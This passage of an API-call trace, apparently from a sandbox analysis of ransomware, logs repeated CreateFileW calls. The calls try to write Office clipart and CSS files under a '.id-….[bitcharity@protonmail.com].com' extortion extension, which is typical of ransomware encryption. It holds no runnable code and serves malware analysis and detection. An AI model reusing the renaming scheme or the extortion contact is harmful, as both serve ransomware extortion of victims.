dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.016] CloseHandle (hObject=0x1160) returned 1 [0263.017] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.017] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.018] CloseHandle (hObject=0x1160) returned 1 [0263.020] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.020] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.020] CloseHandle (hObject=0x1160) returned 1 [0263.023] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.023] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.023] CloseHandle (hObject=0x1160) returned 1 [0263.024] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.024] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.025] CloseHandle (hObject=0x1160) returned 1 [0263.026] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.026] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.026] CloseHandle (hObject=0x1160) returned 1 [0263.028] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.028] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.028] CloseHandle (hObject=0x1160) returned 1 [0263.029] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.030] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.030] CloseHandle (hObject=0x1160) returned 1 [0263.032] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.032] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.033] CloseHandle (hObject=0x1160) returned 1 [0263.034] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.034] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.034] CloseHandle (hObject=0x1160) returned 1 [0263.035] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.036] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.036] CloseHandle (hObject=0x1160) returned 1 [0263.037] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.038] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.038] CloseHandle (hObject=0x1160) returned 1 [0263.040] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.040] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL1.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl1.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.041] CloseHandle (hObject=0x1160) returned 1 [0264.250] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.250] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL2.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl2.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.251] CloseHandle (hObject=0x11d0) returned 1 [0264.253] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.253] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME35.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme35.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.253] CloseHandle (hObject=0x11d0) returned 1 [0264.255] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.255] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME36.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme36.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.255] CloseHandle (hObject=0x11d0) returned 1 [0264.256] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.256] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME37.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme37.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.256] CloseHandle (hObject=0x11d0) returned 1 [0264.257] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.257] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME38.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme38.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.258] CloseHandle (hObject=0x11d0) returned 1 [0264.259] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.259] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME39.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme39.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.260] CloseHandle (hObject=0x11d0) returned 1 [0264.261] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.261] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME40.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme40.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.262] CloseHandle (hObject=0x11d0) returned 1 [0264.262] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.263] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME41.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme41.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.263] CloseHandle (hObject=0x11d0) returned 1 [0264.264] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.264] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME42.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme42.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.265] CloseHandle (hObject=0x11d0) returned 1 [0264.266] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.266] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME43.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme43.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.266] CloseHandle (hObject=0x11d0) returned 1 [0264.267] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.267] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME44.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme44.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.267] CloseHandle (hObject=0x11d0) returned 1 [0264.268] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.268] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME45.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme45.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.268] CloseHandle (hObject=0x11d0) returned 1 [0264.269] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.269] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME46.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme46.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.270] CloseHandle (hObject=0x11d0) returned 1 [0264.271] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.271] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME47.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme47.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.272] CloseHandle (hObject=0x11d0) returned 1 [0264.273] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.273] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME48.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme48.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.273] CloseHandle (hObject=0x11d0) returned 1 [0264.274] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.274] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME49.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme49.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.274] CloseHandle (hObject=0x11d0) returned 1 [0264.275] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.275] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME50.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme50.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.275] CloseHandle (hObject=0x11d0) returned 1 [0264.276] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.276] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.276] CloseHandle (hObject=0x11d0) returned 1 [0264.277] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.277] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.277] CloseHandle (hObject=0x11d0) returned 1 [0264.279] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.279] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 